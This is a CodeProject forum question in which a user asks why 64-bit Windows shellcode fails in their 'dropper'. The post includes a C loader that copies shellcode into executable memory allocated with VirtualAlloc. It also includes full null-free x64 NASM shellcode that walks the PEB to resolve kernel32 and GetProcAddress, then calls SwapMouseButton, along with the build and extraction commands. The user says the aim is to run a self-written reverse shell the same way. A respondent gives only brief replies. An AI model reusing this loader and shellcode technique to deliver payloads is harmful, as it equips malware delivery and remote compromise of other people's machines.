Click here to Skip to main content
15,445,560 members
Please Sign up or sign in to vote.
1.00/5 (1 vote)
See more:
I am able to take a reverse shell program in assembly, compile it using ld or link (visual studio), use objdump, get the shellcode, (yes it has no null-bytes), and I am able to use this in a dropper, a simple call to it works fine such as

#include <stdio.h
#include <windows.h> 

int main() {    
  char *shellcode = "myshellcodegoesinhere";  
  printf("shellcode length: %i", strlen(shellcode));
  void * lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(lpAlloc, shellcode, strlen(shellcode));
  return 0;

Save the above as test.c which is executed as
gcc test.c -o test.exe

However, when it comes to 64-bits, I am able to execute my programs as an exe successfully but not in a dropper like above. I literally wrote a 64-bit reverse shell in windows and it works perfectly (havent found another one online that actually works) but when I convert it to shellcode, it doesn't work in my above dropper. And yes I removed all the null bytes from it, it was quite a challenge. So then I decided to see if another simple program would behave the same way and sure enough it does. I took a simple swap mouse button program and rewrote it to remove the null bytes out of it, runs perfectly from an exe but not in a dropper. I know that my 32-bit reverse shell works in a 64-bit system. That is not the point here. The point is any 64-bit application is not able to be used as shellcode on a 64-bit machine. Here is the swap mouse button program in assembly (not C++ although i had to use that tag to get it to post).

global _start

sub   RSP, 0x28                 ; 40 bytes of shadow space
and   RSP, 0FFFFFFFFFFFFFFF0h   ; Align the stack to a multiple of 16 bytes

; Parse PEB and find kernel32

xor rcx, rcx             ; RCX = 0
mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18]    ; RAX = PEB->Ldr
mov rsi, [rax + 0x20]    ; RSI = PEB->Ldr.InMemOrder
lodsq                    ; RAX = Second module
xchg rax, rsi            ; RAX = RSI, RSI = RAX
lodsq                    ; RAX = Third(kernel32)
mov rbx, [rax + 0x20]    ; RBX = Base address

; Parse kernel32 PE

xor r8, r8                 ; Clear r8
mov r8d, [rbx + 0x3c]      ; R8D = DOS->e_lfanew offset
mov rdx, r8                ; RDX = DOS->e_lfanew
add rdx, rbx               ; RDX = PE Header

; start a loop to inc edx 0x88 times to reach the export directory

xor rcx, rcx
xor rax, rax
mov al, 0x88  ; 136 bytes is needed to add to edx to reach the export directory
    inc byte edx
    dec al
    cmp al, cl
    jne inc_edx

mov r8d, [edx]             ; R8D = Offset export table
add r8, rbx                ; R8 = Export table
xor rsi, rsi               ; Clear RSI
mov esi, [r8 + 0x20]       ; RSI = Offset namestable
add rsi, rbx               ; RSI = Names table
xor rcx, rcx               ; RCX = 0
mov r9, 0x41636f7250746547 ; GetProcA

; Loop through exported functions and find GetProcAddress


inc rcx                    ; Increment the ordinal
xor rax, rax               ; RAX = 0
mov eax, [rsi + rcx * 4]   ; Get name offset
add rax, rbx               ; Get function name
cmp QWORD [rax], r9        ; GetProcA ?
jnz Get_Function
xor rsi, rsi               ; RSI = 0
mov esi, [r8 + 0x24]       ; ESI = Offset ordinals
add rsi, rbx               ; RSI = Ordinals table
mov cx, [rsi + rcx * 2]    ; Number of function
xor rsi, rsi               ; RSI = 0
mov esi, [r8 + 0x1c]       ; Offset address table
add rsi, rbx               ; ESI = Address table
xor rdx, rdx               ; RDX = 0
mov edx, [rsi + rcx * 4]   ; EDX = Pointer(offset)
add rdx, rbx               ; RDX = GetProcAddress
mov rdi, rdx               ; Save GetProcAddress in RDI

; Use GetProcAddress to find the address of LoadLibrary

mov rcx, 0x41797261          ; aryA
push rcx                     ; Push on the stack
mov rcx, 0x7262694c64616f4c  ; LoadLibr
push rcx                     ; Push on stack
mov rdx, rsp                 ; LoadLibraryA
mov rcx, rbx                 ; kernel32.dll base address
sub rsp, 0x20                ; Allocate stack space for function call
call rdi                     ; Call GetProcAddress
mov rsi, rax                 ; LoadLibrary saved in RSI

xor rcx, rcx
push dword 0x41416c6c               ; ll
;push dword rcx                      ; Push on the stack
sub word [rsp + 0x2], 0x4141
mov rcx, 0x642e323372657375   ; user32.d
push rcx                      ; Push on stack
mov rcx, rsp                  ; user32.dll
sub rsp, 0x20                 ; Allocate stack space for function call
call rsi                      ; Call LoadLibraryA
mov r15, rax                  ; Base address of user32.dll in R15

; Call GetProcAddress(user32.dll, "SwapMouseButton")

mov rcx, 0x416e6f7474754265     ; eButton
push rcx                      ; Push on the stack
sub byte [rsp + 0x7], 0x41
mov rcx, 0x73756f4d70617753   ; SwapMous
push rcx                      ; Push on stack
mov rdx, rsp                  ; SwapMouseButton
mov rcx, r15                  ; User32.dll base address
sub rsp, 0x20                 ; Allocate stack space for function call
call rdi                      ; Call GetProcAddress
mov r15, rax                  ; SwapMouseButton in R15

; Call SwapMouseButton(true)

xor rcx, rcx    ; true
inc cl
call r15      ; SwapMouseButton(true)

; Call GetProcAddress(kernel32.dll, "ExitProcess")

xor rcx, rcx                 ; RCX = 0
push dword 0x41737365            ; ess
sub byte [rsp + 0x3], 0x41
push rcx                     ; Push on the stack
mov rcx, 0x636f725074697845  ; ExitProc
push rcx                     ; Push on stack
mov rdx, rsp                 ; ExitProcess
mov rcx, rbx                 ; Kernel32.dll base address
sub rsp, 0x20                ; Allocate stack space for function call
call rdi                     ; Call GetProcAddress

; Call ExitProcess(0)

xor rcx, rcx  ; Exit code 0
call rax      ; ExitProcess(0)

Save this as sw64.s

link.exe (visual studio x64 native tools command prompt)

I have two linkers I use that work just fine. both link and Golink.exe

nasm -f win64 sw64.s && link sw64.obj /SUBSYSTEM:CONSOLE /OUT:sw64.exe /LARGEADDRESSAWARE:NO /ENTRY:_start && sw64.exe

or using Golink.exe

nasm -f win64 sw64.s && c:\Golink\GoLink.exe /console /entry _start sw64.obj /fo sw64.exe && sw64.exe

I then convert the shellcode using objdump and filter with awk and sed to produce \x??\x?? output and use this in my dropper. I've done it for my 32-bit reverse shell and it works like a charm but not for 64-bit. I would like to understand why this isn't working. Thank you.

What I have tried:

converting 64-bit to shellcode does not work, but 32-bit does. the dropper executes but does not produce any output
Richard MacCutchan 27-Mar-22 4:59am    
The dropper must also be 64-bit.
Member 15439227 27-Mar-22 12:04pm    
it is. it is being compiled with cl.exe. the code produced from nasm -f bin is basically not working and it should. it works for other programs that i have not written though such as calc 64 bit and notepad 64 bit. it seems that the programs i write in 64-bit are not able to be used. is there something else i am not aware of? the 32-bit works fine.
Richard MacCutchan 27-Mar-22 12:52pm    
Sorry I am not sure what you are saying. Both programs must be 32-bit, or 64-bit, you cannot mix one type with the other. Other than that I am afraid it is difficult to see what the problem could be.
Member 15439227 27-Mar-22 13:02pm    
ok what i mean is this. when i compile with nasm -f win64, i use link or golink.exe to link it together. this exe that is produced works fine. however, if i convert it to shellcode using nasm -f bin sw64.s -o and then use this shellcode in a dropper, meaning i am basically allocating a region of memory and copying this string into that buffer and calling virtualprotect and waitforsingleobject, etc i am not able to get a 64-bit program to execute that way. i can for 32-bit. i am aware of x86 and x64 cl.exe
Richard MacCutchan 28-Mar-22 3:18am    
Sorry, I have no experience of nasm.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900